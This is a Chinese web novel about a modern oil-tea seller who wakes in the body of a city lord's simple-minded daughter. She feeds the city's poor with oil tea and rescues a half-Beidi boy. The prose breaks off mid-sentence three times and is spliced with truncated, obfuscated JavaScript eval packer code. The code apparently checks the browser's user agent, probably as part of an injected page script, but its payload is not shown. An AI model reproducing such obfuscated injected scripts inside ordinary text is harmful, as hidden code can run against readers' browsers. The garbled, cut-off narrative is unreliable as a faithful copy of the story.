《我在古代烹油茶》 1. 凤二小姐 “二小姐醒了!二小姐终于醒了!” “太好了,赶紧去通知夫人!” 凤凌睁开眼,脑袋很沉,耳畔的吵嚷声让她心烦意乱,她下意识高声道:“别嚷嚷了。” “咳咳咳——” 方初醒就嚷着嗓子说话的下场就是引来了一连串的咳嗽,咳得她胸腔生疼,连眼睛里也冒出几道红血丝来。 “二小姐,您没事吧?”一个头上盘着双环髻的女孩正垂头望着她,几缕碎发垂落在额间,明亮的双眸满是担忧。 凤凌看清眼前的景象,刚刚缓过来的一口气差点又提不上来。 她扶着床吃力地坐起,额角在不经意间碰到床榻上挂着的浅粉色纱帐,细微的痒意让她混沌的脑子清醒了几分。 床旁的青瓷灯盏里光影约绰,周遭未见自然光线,不晓得是白天还是黑夜。 她惊觉自己处于一间布置精简的小室内,床榻正对着纹满芙蓉的木质窗户,窗户紧闭,下方是一张镂空雕刻祥云与莲花的红木桌,其上放着零零散散几盒精致的脂粉罐,看着像是梳妆台。 奇怪的是,这台上并没有镜子。 眼神落在方才同她说话的小女孩身上,这女孩明显的古代丫鬟打扮,而这个房间,怎么看都不像是现代。 这是怎么回事? 她今早不是还在邕城森林公园脚下卖着油茶吗?只不过午间稍微小憩了一会儿,怎么会来到这个古怪的地方? 在为Boss圆梦的第三年,她逐渐清醒过来,回家帮父母经营着家里的油茶铺子。 许是近些年养生经济的繁荣,油茶铺子里的人总是坐得满满当当,又得益于优越的地理位置,生意不比一些热门奶茶店差。 凤凌每天勤勤恳恳烹煮油茶,手底下的动作没有一刻停歇,怎么说都是一个称职的“茶二代”。 前几日,她还想到了一个新的油茶配方准备投入市场,结果还未能实践就来到了这个地方。 撩起衣袖,昨日不小心被油茶烫红的手腕竟白皙如凝脂,还有一颗她从未见过的琥珀色小痣点缀。 这不是她的手,她就连身体也换了。 她眼里一片黯淡,有气无力开口朝旁边的小丫鬟问道:“今年是公元几年?额,不对,今夕是何年啊?” 她顿了顿,又道:“你知道我是谁吗?” 小丫鬟一双眼睛里的担忧霎那间被诧异所取代,怔愣着没有答话。 奇怪,这小丫鬟难道是听不懂她在说什么? 凤凌又改了措辞:“汝可知晓吾之身份?” 小丫鬟更为诧异,连肩膀也跟着颤动起来。 不是吧?她说话有这么奇怪吗,至于把人吓成这样? 小丫鬟声音发颤:“二……二小姐,您是我们北越城凤家的二小姐啊。” 北越城?这个地方饶是她也不曾听闻,大概是历史上哪个名不见经传的小城市吧。 对于历史,她还是信心十足的,虽不算成绩拔尖,但她好歹也是名校历史系出身。 思及此处,她眼神一亮。 对啊,这贼老天也没对她赶尽杀绝,偏偏让她这么个熟读史书的人穿越到了古代,这不是变相的给她机会,让她在这儿建功立业、功成名就吗? 她定然是获得了本世纪最大最粗的金手指。 由于太过激动,她不禁笑出声来。 小丫鬟身子一紧,咬着嘴唇颤声道:“当今是至和五年。” “什么?你再说一遍。” “二小姐,当今是至和五年。” “瞎说八道,哪里有至和五年,至和这个年号只用了三年,你休想诓我。” 小丫鬟低垂着眉眼,声音染上哭腔:“二小姐,我不敢诓您,当今的圣上是明德皇帝,年号确实是至和五年。” 明德皇帝?至和五年?宋朝和明朝合体了?什么鬼? 她有些眩晕,身子一软又躺回床榻上。 好巧不巧,躺下后她余光瞥见床尾后的红木立柜上摆放着一盏白底彩色茶具,做工异常精美,上头的几只绿孔雀栩栩如生。 这是直到清朝才制出的珐琅瓷?!完了个蛋,宋、明、清三个都齐了。 她可算是知道这是个什么年代了。 穿越就算了,还偏偏穿到个架空的年代。如此,即便是历史学泰斗来了也只能干瞪眼。 她绝望地闭上双眼,希冀着这只是她的一场噩梦。 房间里平静了良久,久到凤凌几乎以为自己已经睡着了。一阵快节奏的脚步声传来,她意识逐渐清醒,但没有睁眼,隐约间听到一个妇人的声音。 “快些把房门关上,凌儿刚醒,莫要让寒气进来。” 脚步声离她的床榻越发近了,只是越近这脚步声却越是细微。 忽的,她感到有人在抚摸她的脸颊。很轻、很温柔。 缓缓把眼睛睁开一条小缝。 透过这条小缝,一张貌美妇人的脸映在她眼中。美妇乌黑稠密的头发做回心髻样式,但其上未添繁饰,只簪了两个碧玉簪,眼下略染乌青。 这不会就是她这具身体的娘亲吧。 “凌儿,你醒了?”美妇似是觉察到凤凌眉睫间的微动,于是轻声询问。 “娘亲?”凤凌没有细究美妇口中呼唤的名字,大抵只是发音相似罢了。 美妇闻言身子一颤,将手扶在床旁才堪堪稳住身形。 美妇哽咽:“凌儿,你方才唤我什么?” 凤凌见着美妇露出这番神情,她顿时也有些拿不准了:“娘……娘亲呐。” 美妇肩上的素色绣花斗篷轻微浮动,她眉目带笑道:“没错,凌儿,你是该唤我娘亲的。” 凤凌不知怎的,就是觉得自己或许是猜错了。 美妇把手覆盖在她额头上:“还好,已经不烫手了。凌儿,你昨日可把我给急坏了,幸得你房里的丫鬟小梅及时发现你跳井里了,否则你让我怎么同你爹交代。” 凤凌瞳孔稍许扩大,没有细想就开口问道:“我昨个怎么了?还跳井了?” 美妇眉心微皱,刚涌现出的喜色转瞬消失殆尽。 “凌儿,你不记得昨日的事情了?” 凤凌豁出去道:“娘亲,不只是昨日的事,以前的事我全给忘光了。” 美妇低头喃喃:“难怪,难怪你会叫我娘亲。” 紧接着美妇又道:“如果你信得过我,我来告诉你以前的事,好吗?” 凤凌点头,她来到后并无这具身体的记忆,除了听别人讲述,她还能从何处得知此身过去种种? 随着美妇细声细语的讲述,凤凌把如今的情况摸了个七八分。 原来,美妇名叫倪紫嫣,不是她的娘亲,而是她的姨娘,是她娘亲游历江南时所救下的苦命女子。她的娘亲福薄,在诞下长姐和她后不久就离世了。 两年过后,她的父亲纳了姨娘做侧室,还生了个儿子。儿子长到十五岁时,父亲给姨娘扶了正,也算是名副其实的凤府主母了。 说到凤府,也真是够凑巧的,这原身竟与她一样都姓凤,还都叫凤凌。她爹还是个有身份的人,是这个什么北越城的城主。这么说来,她如今还算是个“官二代”? 那她岂不是可以一辈子无忧无虑地过快活日子了。 等会儿,她好像忽略了一件重要的事情。 对了,古代女子十六七岁便要出嫁,原身的弟弟都肯定年过十五了,据她推测,自己至少也有十七岁。正值出嫁的年龄。 而且姨娘说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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察觉到凤凌的不解,倪紫嫣柔声说出了她的推测:“凌儿,其实在把你救上来的时候还发现纸鸢也掉落到了井里,结合小梅听到你喊‘姐姐’,我大概能猜到发生了什么事。十有八九是你的纸鸢掉进井里,你站在井口上看,井水倒映出你的脸,而你有七分像你已经出嫁的姐姐。所以,你或许是太想找她才会跳下去的吧。” 凤凌无语凝噎。 俄顷,她吐出一句话来:“姨娘,我还有一个疑问不知当问不当问。” 倪紫嫣眉目柔和:“你尽管问。” “我……我该不会是个傻子吧。”凤凌嘴角一抽,怎么会有正常人觉得水面上的倒影是真实存在的人啊。 倪紫嫣宽慰道:“凌儿,不许你这样说自己,你只是比旁人稍稍笨拙了一些,不碍事的。” 凤凌继续问道:“姨娘,我今年可是十七岁?我是不是也快要嫁人了?” 倪紫嫣道:“凌儿,你今年已经十九了,但你大概率是不会出嫁的。因你这情况,老爷和我都怕你在夫家里受委屈,而且,老爷也说了,他再不济也是一城之主,还怕养不了女儿一辈子吗。 这话要是换给原身听到必然会感动不已,但现今听者却是她穿越而来的凤凌。她心里五味杂陈,可偏就没有感动。 倪紫嫣见凤凌不再向她提问,猜想凤凌许是乏了,轻声道:“凌儿,你且安心将养身体,你爹和你弟弟都去了皇城,估摸着也要四五日才能回来。房中缺什么、想吃什么玩什么尽管让小梅或者小兰来找我就是了。还有,你院外面的水井我已经让人给封上了,往后会有专人给你院里送水的。” 凤凌闷闷地应声。 倪紫嫣走出卧房在外间向小梅和小兰低声交代几句后便离开房间。 凤凌重新躺下,胡乱薅着身上的被褥,深深吸一口气。也罢!桥到船头自然直,即使是个傻子,也是个大户人家的傻子,还不用成亲。或许也不算很坏? 2. 为父献策 不知过了几日,凤凌依旧闷在屋内,美其名曰养身子。她一只手托着腮帮子,另一只手持书卷,懒洋洋低垂着睫毛在微黄的书页上扫视。 这还是小梅替她找来打发时间的话本。值得惊喜的是,这个世界的文字是繁体字,她能看得懂。 眼睛忽的涌上阵阵酸胀感,许是看书过久的缘故,她遂而扶在楠木桌上闭目养神。 片刻后,远处似有喧闹,凤凌起身唤道:“小梅,外面发生了何事?” 小梅话语中透出淡淡的喜悦:“二小姐,听说老爷昨个夜里回来了,还带回许多冬衣和粮食,现下正在府门口给贫民们发放呢。” 凤凌顿时来了兴致:“小梅,准备一下,我要去府门看看。” 小梅手脚麻利,只片刻就为凤凌披上了白狐裘,这狐裘披风无一丝杂色,毛皮蓬松柔软,手感极好。 凤凌打开房门,冷冽的寒风迎面而来,让她不禁打了个哆嗦,但长久以来胸中的憋闷却减去了许多,就连脚下也生出一股劲来。 萧瑟的天空隐约透出几分湛蓝,门外的院子不算大,但青砖黛瓦的墙根下黄绿色的枝叶随风舞动,若是春夏,应能看见姹紫嫣红。 院落里铺满青石板,中央的空地上置有一个由石墩做成的小桌和几个石凳。在不起眼的地方,一口井被用石块封住了。 凤凌下意识拢了拢身上的狐裘,朝小梅问道:“这是快到腊月了?怎的这么冷?” 小梅答话:“二小姐,今日是九月二十,离腊月还早。” 凤凌心中诧异,她已披上狐裘,口鼻间的白气清晰可见,却只九月份。真不敢想若是到了腊月,岂不是能呼出冰来。 小梅的裙摆有节奏地律动,脚底下的青石板转变为古朴的花岗岩。自从院落离开后,凤凌跟着小梅踏入一条游廊,隔着廊边的海棠福字纹漏窗,树影摇曳。 据小梅的讲述,凤府为三进院,凤凌所住的闺房位于院落西侧最深处,沿着抄手游廊而行可通过过厅,穿过垂花门,最终到达一进院。 凤凌靠在院墙边遥遥朝府邸大门望去,大门前人头攒动,他们大都衣衫单薄,仅少数人身上披有粗裘。 “城主,何时发皇城给的冬衣和粮食啊?” “城主,快些发冬衣吧!家里的孙子快扛不住了!” “城主,家里余粮不多了,什么时候才施粥?” 聚集在府门口的人七嘴八舌,看起来都是城中缺衣少食的贫民。 一个身着玄色披风的中年男人面向贫民,声如洪钟:“大家别担心,皇城下发的冬衣和粮食都正在清点,午后便会开始发放,莫要着急。我凤渊必定会竭尽全力帮助你们渡过此次寒冬。大家先各自回家,申时再来此处。” 中年男人玄色的背影看起来十分高大,这就是凤凌的父亲,北越城的城主凤渊。在他的安抚下,府门前的贫民果真安静不少,眼里也逐渐露出细微的光芒来。 凤凌感叹,她的父亲还挺得北越城一众贫民民心的。 骤然,身后响起一声晴朗的男音。 “姐姐?” 凤凌回头,身后是一名比她高上半个头的少年。少年以一支墨色玉簪束发,身上的宝蓝色束腰长袍看起来很是轻薄,他的脸轮廓分明,与姨娘倪紫嫣有几分相似,但还带着些许稚气,一双深褐色的眼睛明亮干净。 这十有八九就是她同父异母的弟弟凤斐然。 “你是小然?” “对的,姐姐。” 凤斐然紧盯着凤凌的脸,在察觉她眼中的流光溢彩时,面上拂过淡淡的惊讶,他道:“姐姐,你果真与以往不同了。今晨母亲与我说你恢复如常,我还不信,如今见到你,我这才坚信母亲没有诓我。” 凤凌干笑:“这也许是因祸得福。” 凤斐然发自内心笑道:“真好,姐姐。这样就不会有人对你说三道四了。” 他似是想起什么要紧事般,笑意微凝,神神秘秘低声朝凤凌道:“姐,我从皇城给你带了一件好东西,你快跟我来。” 他话音未落脚步先行,凤凌心中虽存疑惑,但也没有拒绝,跟着他穿过铺有鹅卵石的庭院,来到府邸东边的院子中。 这间院子是凤斐然的住所,在整体的布局上与她院子相差不大,就连院子中央的石桌也是同一样式。 凤斐然大步流星跨入房中,让她坐在院里的石凳上等他。 怎料石凳还未坐热,凤斐然就举着一个色彩鲜明的事物出来了。 那瞧着是一个纸鸢,但与以往她所见过的纸鸢都不同,这居然是一个立体形状的纸鸢。 凤斐然语气中透着得意:“姐,你瞧,我在皇城带回了你最喜欢的纸鸢。以前见过的纸鸢多为平面,飞起来虽好看但却不够生动,而这个纸鸢用木架做了飞鸟的轮廓,放至空中时风会灌入其内里,就如同真的飞鸟一般。” 凤凌眉睫微颤,心中的诧异感如涟漪般扩散。她实在没想到凤斐然会对痴傻姐姐这般诚心诚意的好。 她接过纸鸢,用指尖在上面慢慢摩挲:“小然,谢谢你,我挺喜欢的。” 凤斐然嘴角不自觉上扬,眼底溢出欢喜:“姐姐喜欢就好。” 急匆匆的脚步声由远至近传入院中,是一个年纪轻轻的小厮。 他的手扶靠在院子的门框上,有些上气不接下气:“少……少爷,老爷让我速速来找您去议事厅,说有要事商议。” “姐,父亲有要事找我,就不能同你一起放纸鸢了,你先自己玩一会儿。”凤斐然转头望了一眼门口的小厮,回过头时神情染上些许凝重,“对了,姐,不能因为放纸鸢而忘记吃饭……还有,不能在池塘边放。” 凤凌噗嗤一笑,道:“小然,你忘记了,我已经不再痴傻,你大可放心去见父亲便是。” 凤斐然挠挠头:“姐,我这不是还没适应吗。如果父亲看见你的样子,他定然会很开心。” “少爷。”小厮在门口小声地催促着。 凤斐然边走边道:“来了,别再催了。” 凤凌望着凤斐然离开的背影,有些感慨,若是她真的有这么个爱护自己姐姐的弟弟就好了。 凤凌拿着风筝回屋里妥善存放,用话本继续打发时间。约莫过了好些个时辰,姨娘院里的丫鬟来同她说晚上要去正房聚餐。 夜色已至,星辰闪烁。 小梅提着灯笼稍稍行于凤凌前,时不时提醒她注意脚下。 凤凌哆哆嗦嗦地跟在其后,怎么外面好像又更冷了一些。 穿过游廊,她随小梅来到一个宽敞的院子中。这里便是正房的院子,夜色昏暗,仅能瞧见院里有几座假山。 凤凌抬脚迈进房内,只见姨娘倪紫嫣端坐在楠木椅上,房内正中央摆着一张木质大圆桌。 她同姨娘打招呼后也在一旁的椅子上坐下,不由问道:“姨娘,这么晚了父亲还未过来用餐吗?” 倪紫嫣眼下的乌青似乎比前些日子更重了一些,她掩嘴打了个哈欠,缓缓道:“你父亲操心城里贫民过冬的事宜,昨个夜里就熬到了三更,今日午间也没有小憩,想来是比较棘手的。你弟弟也在一旁帮忙,或许要等他们快忙了才能用餐。” 倪紫嫣神色间略带歉意:“凌儿,我也没料想他们会忙这么晚,就应该改日再聚餐的,饿着你了吧。” 凤凌道:“姨娘,我还不饿。我也想与父亲一起用餐。” 她实在是在自己那间密不透风的屋子里待腻了,能出来逛逛,稍微饿一下也无妨。 “凌儿,不错,你现在看起来确实好了很多。” 耳熟的中年男声由侧面传来,凤凌循声望去。跨进屋内的中年男人身着蓝黑色长袍,外披玄色斗篷,面上蓄着不长不短的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凤凌道:“父亲是操心城里贫民的事吗?即便女儿帮不上忙,您也可以说出来,总比闷在心里强。” 凤渊叹道:“北越城里的贫民有接近六百人,城内能用来帮扶他们过冬的粮食并不多。我数日前远赴皇城就是为了求圣上发一些粮食和冬衣。今年的寒风来得比去年更早,可圣上只发了五百件缊袍和一千斤米。” 他抿了口茶继续道:“这五百件缊袍倒也勉强够,但一千斤米怎够城中贫民吃到春日?就是今日午后的一次施粥,就足足用了五十斤米。如若贫民们挨饿,这缊袍即便是穿着也不顶用。只因缊袍内里填充的是麻絮,价钱不到棉衣的一半,按理说也能御寒,但仅能抵御南方那种和煦的寒风。在这北地,恐怕仅靠一身缊袍是难以全须全尾活到春日的。” 凤斐然捏着拳头,语气中透出不满:“远在皇城的圣上要不是看在我们北越城是阻挡北狄人的重要城池,恐怕就是连这些缊袍和粮食也不会发。” 凤渊面露愠色,厉声道:“住口,莫要妄议圣上。” 凤斐然脖子一缩,道:“是孩儿错了。” 凤凌询问:“往年圣上没有给北越城发过这些吗?” 凤斐然眼中染上痛色:“近几年冬日来得越来越早,也越来越冷,城内粮食产量很低,许多以前尚能温饱的百姓,如今连温饱也达不到。去年父亲几乎倾尽全力城里也还是冻死了六十余人,多为身体羸弱的老人和稚童。所以今年父亲才会去求圣上的。” 凤渊眉头紧锁:“即使得到圣上的帮助,也是杯水车薪,不足一月这些米就会用完。” 一个念头由凤凌心底生出,她扬声道:“父亲,若我有办法让这剩余的米继续用上三个月,您可否答应我一件事。” 3. 广施油茶 凤渊轻轻叹息,眼中有些无奈道:“凌儿,你这是在同我说笑,这些米怎么可能撑得了三个月。” 凤凌胸有成竹:“父亲,且让我明日一试,明日我只需十斤米,就能让城内贫民填饱肚子。” 凤渊沉思片刻,道:“不是为父不信你,实在是我不能拿众多贫民的性命来开玩笑。他们很多人每日就等着这一口吃的。” 凤凌道:“父亲,您看这样如何,明日午时我先用十斤米为贫民准备吃食,若贫民未吃饱,您可以在午后再做四十斤米的米粥。可好?” 凤渊正色道:“凌儿,别说十斤,就连一斤米都极其珍贵,其他的事情父亲能依你,但事关贫民,我不能答应。” 凤凌垂眸,未发一言。 忽然间,她福如心至,双眼骤然亮起:“父亲,其实我感觉这些年来自己做了一个很漫长的梦。直到几日前,梦中有一个闪着金光的仙人告诉了我一个方子,仙人说让我把方子带回人间,自有用处,我这才清醒过来。” 她灼灼望向凤渊:“父亲,此次我能恢复正常,许就是仙人赐福。而仙人让我带回的方子,就是我适才所言的办法。” 没办法,她的父亲过于谨慎固执。她确实也痴傻了太久,不搬出什么仙啊,神啊的恐怕难以让他信服。 此言一出,在座的其余三人皆大惊。 “凌儿,此话当真?” “姐……” 凤凌言语恳切:“自是不会有假。” 凤渊脸上的愁色逐渐被惊喜所取代,他大笑道:“好!就依你方才所言,给你十斤米便是。” 凤凌压住上扬的嘴角道:“多谢父亲。” 凤渊又道:“对了,你说让我答应的是何事啊?” 凤凌道:“女儿现下还未完成所应承之事,待完成后自会向父亲讨要。” …… 翌日,适逢霜降。 凤凌还在睡梦时隐约间听见小梅和小兰在外间压低声音说话。 断续听到“下雪”“加炭火”的字眼。 下雪?外面下雪了? 她从梦中挣扎出来,嗖一下掀开被褥,穿好鞋袜向外走去。 随着屋门的开启,铺天盖地的纯白就这么落入凤凌琥珀色的双眸中。 房屋瓦舍被一层薄雪所覆盖,她伸手接过悠悠飘落的雪花,很细小,也很冰凉。地面的青石板也盖上了雪色的软毯,踩上去时细微的窸窣声入耳,是北边冬日里特有的声音。 凤凌首次听到这样的声音,眼里的惊奇满溢而出,忍不住在原地多踏了几下,好生解压! 小梅不禁有些犯愁,峨眉轻微耸动,二小姐这副模样不会是又傻了吧。 许是小梅的目光过于直接,凤凌察觉到了,她轻声咳嗽:“小梅,现在什么时辰了?” 小梅答道:“还有一刻钟便到巳时。” 凤凌松了一口气,时间还是足够的。 轻车熟路来到厨房,昨个夜里她已让丫鬟先将十斤大米浸泡一夜。纯白的大米在水中被泡得发软,用指尖就能轻松掐碎。 由于凤凌不会用这里的炉灶生火,只得拜托厨房里的两个丫鬟帮忙。她则在一旁用细筛子沥干大米的水分。 一名小厮为她抬来一口大铁锅。此锅就是昨日为贫民煮粥的锅子。 凤凌待锅烧热后,滋啦一声把沥干水的十斤米全部倒入锅中,慢慢翻炒间,独属于米粒的焦香迎面席卷而来。渐渐地,白花花的大米被染上好看的金黄色。 她把锅里炒制好的米盛入一个大盆中。取一把茶叶在温水中泡发,然后重新把锅子烧热,沿锅壁倒入少许油,加入几块老姜、蒜米,不断翻炒出香味后倒入已经泡开的茶叶。 稍作搅拌,锅内加满水,严严实实盖上盖子,继续熬煮一刻钟。 不久后,厨房内充斥满茶香,还夹杂有淡淡辛辣与甘甜。 “凌儿,这就是仙人给你的方子吗?”不知从何时开始,凤渊来到厨房里,还站在她的身后。 “姐姐,你做的是什么,似乎还挺香的。”凤斐然也来了,一双眼睛恨不得钻进锅盖里。 “父亲,这正是仙人给我的方子。仙人说此物名为‘油茶’,可驱寒饱腹。”凤凌回答。 凤渊望向满满一大盆炒米,还是有些将信将疑,这些米怎么够五百多人分? 一刻钟到,开启锅盖。厨房内的人顿时都感到浑身一暖。 锅里的茶绿色液体还在不断冒着泡。 凤凌用汤勺舀上一小碗,并取一小把炒米放入其中。她递给凤渊道:“父亲,这便是油茶,您尝尝,是否如我所说那般用最少的米也能让贫民饱腹。” 凤渊接过油茶后浅尝一口,双目微微睁大,紧接着又连续咀嚼、吞咽起来。 “这油茶带有辛辣,饮入后仿佛胸腔燃起一团火般。还有这炒过的米,竟只需一小把就能有如此饱腹感。不错,不错。”凤渊手中的碗在须臾间便见了底,“这可比白粥更有用。” 凤凌眼神里透出明亮的喜悦。 米炒过之后很是蓬松,吸满油茶中的水分后变得更为鼓胀,只需放入一小把就能有十足的饱腹感。况且姜与蒜本就属辛辣之物,用于驱寒再好不过。 “能行!能行!凌儿,你这次可真是帮了我,帮了北越城贫民的大忙。你可还记得梦中仙人的样貌,我们得去他的庙宇进贡香火才是。”凤渊激动道。 凤凌做出一副思考的样子:“可是,父亲……我未能看清仙人的样貌,甚至连仙人是男是女也不得知晓。” 凤渊只能道:“若是仙人还去你的梦中,你定要好好感激。” 凤凌道:“那是自然。” 午时将至,凤渊命两名小厮把油茶分批次抬到府门口,准备开始布施。 府门前已然排好两列长队,队列中的贫民手里都持有一个容器。他们许多人身上披有崭新的缊袍,脚隔着一层轻薄的布鞋踏在雪地上,时不时轻轻踏步。 凤凌没有在一众贫民面前露面,她还是如上次那般远远遥望。 凤渊立在府邸前,寒风将他的衣摆扬起:“各位,从今日起不再施粥,改为油茶。” 贫民们面露茫然之色,他们不晓得城主所言的“油茶”为何物。 呼呼的风雪声清晰地刮入在场的每一个人耳中。 “城……城主,油茶是什么?能顶饿吗?” “城主,您不是说不会丢下我们不管的吗?” “城主,请您还是施粥吧!” …… 一时之间,安静等待的众人瞬间沸腾。 凤凌清楚看见,这些贫民眼里有焦急,有轻微的怒意,但更多的是恐惧。他们害怕自己挨不过这次寒冬。 “铛铛铛” 凤府的一名小厮在击打着铜锣。 “肃静,大家请肃静。”凤渊举起双手微微晃动手腕,安抚道,“你们都还未试过油茶,又怎知它不如白粥?若是在你们试过后觉得还是白粥更好,明日我改回白粥如何。” 贫民们面面相窥,在小声嘀咕着些什么。 俄顷,一道略显嘶哑的声音道:“城主,我愿意试油茶。” 此声过后,更多道赞同声传出。 凤渊掀开锅盖,锅里的炒米已经被油茶染上深深的茶绿色。在他的示意下,两名小厮在有序地为贫民们盛装着油茶,每人都能分到满满一大汤勺。 有些贫民带来的盆碗不够大,在寒风里一哆嗦,油茶几乎就要泼洒出来。 排在队列前面的贫民都分到了油茶,他们捧着油茶,苍白的脸上竟浮现出些许红晕。 “这油茶喝进去全身都暖了起来!” “我昨日都没能分到缊袍,现在喝了油茶居然不觉得冷了!” “入口有些辣,喝进去后暖洋洋的。” “这油茶才喝了不到一半,我都觉着有些饱了。” “这油茶真的比白粥更好!” 凤凌收回视线,转身靠在院墙边上,嘴角流露出笑意。旋即,她背向着一众贫民的喜悦呼声,缓缓回至院中。 到了晚膳时分,凤渊在饭桌上对她所做出的油茶赞不绝口。据说最后居然还能剩下一些,都分给府里的丫鬟小厮们享用了。 倪紫嫣和凤斐然也凑上来说明日想要尝一碗。凤凌自是欣然应下。 自从寒露过后,府内的丫鬟小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小梅低声道:“二小姐,柳府老爷是我们北越城有名的富绅,在辈分上还要长您父亲一辈。而她就是柳老爷的嫡孙女柳舒阑,听说已经定下亲事,将来可是要嫁去皇城做某个高官的夫人。旁边的约莫就是她的哥哥,据说在皇城里有了一官半职。二小姐,您切莫因一时之火而得罪他们。” 凤凌揉捏眉心:“我何时要得罪他们了?” 小梅言之凿凿:“您方才分明就是想抬手扇他们的耳光。” 凤凌扶额,小梅这丫头想象力可真是有够丰富的,就她这柔弱的身子骨,还能玩得了双打? 她叹了口气,道:“我才没有要扇他们耳光,他们站在自家府邸门前,我可不敢扇。” 小梅疑惑道:“二小姐,那您方才是要做什么?” 凤凌挥了挥她宽敞的衣袖道:“我就是想用袖子甩他们一脸雪而已。甩完就跑,他们不是说我是傻子吗,那我自然要傻给他们看看。” 小梅顿时有些愣住了,她转而怯生生道:“小姐,抱歉。” 凤凌揉了揉小梅的头发,笑道:“好啦,我也没怪你。不管他们便是了。” 她说完后转身朝巷子的另一头走去,巷子较窄,还有一个不大不小的雪堆倚靠在边上,只能侧身而行。 经过那雪堆时,她心里生出一道奇异的感觉,便不由自主往那多看了一眼。 只这一眼,她就发现了端倪。雪堆下隐隐露出一片灰色的衣角。 这分明不是雪堆!这是一个人,一个身上落满雪的人! 她赶忙喊上小梅一起拍打那人身上的落雪。雪下是一个蜷缩着的少年,他的脸颊灰扑扑的,双手被冻得青紫。 凤凌颤抖着手去探他的鼻息,幸好,还有些微弱气息。 她当机立断脱下身上的裘皮包裹在少年身上,不断在他耳边轻轻呼唤,企图让他醒过来。 良久后,许是凤凌的呼唤起了作用,少年缓缓睁开他银灰色的双眸。 他扑闪着卷翘的睫毛,独属于少年的绵软嗓音自双唇间倾泻而出:“你……是神女姐姐吗?” 4. 北狄少年 神女姐姐?这个少年竟叫她神女姐姐。凤凌抿唇压住由内心涌现而出的欢喜,柔声道:“小少年,你家在何处?我送你回家如何?” 怎料少年还未听完她所说的话就两眼一闭,方才刚直起的脖子又塌软下来。凤凌有些慌神,他该不会是快不行了吧。 少年的脸颊沾染上少许泥污,灰扑扑的看不清样貌,但那双眼睛却极为特别,她从未见过那般明亮的眼睛。 她紧了紧手下包裹着少年的裘皮,决然道:“小梅,我想救他,我们一起把他带回府里去吧。” 凤凌自问不是滥发善心之人,但也不愿有人就这般死在她的跟前。 小梅吞吞吐吐道:“二小姐,他长着银灰色瞳孔,恐怕……恐怕是混有北狄人的血。就这么带回府里恐怕老爷会不同意的。” “若今日我没碰上他,他的事我定然是不会去管,也管不上。”凤凌抬眼瞥向小梅,她微不可察地叹了口气,“可既然碰到,若是假做不知走了,往后说不定会十分后悔。父亲那边我来说服,你只管帮我。” 小梅神色复杂,但也只能答应,她蹲下身,方便凤凌把雪地上的少年搭在她背上。少年很瘦,凤凌将手扶在他脊背上时所触及的都是嶙峋的骨头。 待小梅背好少年后,凤凌才重新把裘皮裹回少年背上,一边走一边用手稳稳托着。雪地里留下深浅不一的足迹。 行至凤府后门时,小梅额前遍布汗珠,裙摆下的腿打着颤,就连凤凌在后边扶托着的手臂也像灌满了铅似的沉重。若不是此时一名小厮恰巧也由府外归来,恐怕小梅会因体力不支而跌倒。 少年被小厮抬进府里的客房中,在凤凌的吩咐下小厮为少年简单擦拭身体,还帮他换了一身干净的衣裳。 现如今正值未时,凤渊还在府门口主持着油茶发放的事宜,暂时顾不上府里的事。况且,凤凌目前在府里也能说得上话,救一个快被冻死的少年实在不算得上什么大事。 不过,这也得亏少年一直处于昏迷中,除凤凌和小梅外无人得见他那双属于异族的双目。 小厮办完事后便离开客房,小梅也被凤凌差使去厨房熬煮米粥。客房里除了直挺挺躺在床上的少年外就只余下凤凌一人。 她正端坐在屋内的椅子上,手持一把古铜小镜轻轻转动。 说起来,她到这里已经有些时日,因屋里一开始就没有梳妆镜,未能知道原身的长相。而且,平日里都是小梅为她梳妆打扮,她也根本不需要照镜子。最主要的是,自从她知道原身是个傻子后便对她的样貌不抱任何期待了。 但经今日这少年的一句夸赞,让她想起了这茬,遂寻了把镜子,对着自己的脸端详起来。 铜镜照出的影像微微泛黄,但遮掩不住镜中女子的清丽容颜,她眉似初升之新月,小巧圆润的鼻尖带有一抹让人难以察觉的浅粉色,就连唇瓣的线条都如同被顶尖工匠细心雕琢般精美。 凤凌双目微微睁大,倒不是惊诧于她现如今的样貌,而是发觉这镜中的人竟与原本的她有几分相似。尤其是镜子里一双浅琥珀色的眼睛,空灵秀丽,与她从前别无二致。 如此样貌,还披着一身雪白裘皮,也难怪那少年会误以为她是神女。 就在凤凌捧着脸愣神之迹,床上传出几声浅浅的咳嗽。她下意识朝声源处望去,只见少年骨碌碌从床上爬起,像小狼崽般紧紧盯着她,眼里满是警惕。 她起身朝床旁走去,缓缓道:“你醒了,现在感觉如何?” 待看清来人的样貌,少年眼中的警惕与防备如潮水般退去。紧接着,他喉咙里发出小兽般的呜咽声,坐在床上抬眸与凤凌对视。 自少年擦洗干净,凤凌并未细看他的样貌。如今一看,只觉惊艳二字不足以形容。 他面庞清瘦,肤色胜雪,眉骨锐利,棱角分明的脸俊美异常,一头乌黑色的碎发草草搭在肩上。 “神女姐姐,是你救了我吗?”少年银灰色的瞳孔似蒙上了水雾般湿漉漉的。 少年的发问让凤凌瞬间回神,她摆手道:“小少年,你误会了。我不是什么神女,只是偶然间路过将你救下。你叫什么名字?” 少年直了直背脊,老老实实回答:“我叫七郎。” 凤凌眸中闪过细微的惊讶,她猜测道:“七郎?你上头还有六个哥哥?” 七郎点头:“大约是的。” 他又解释道:“我娘亲说我是我父亲的第七个孩子,所以唤我七郎。” 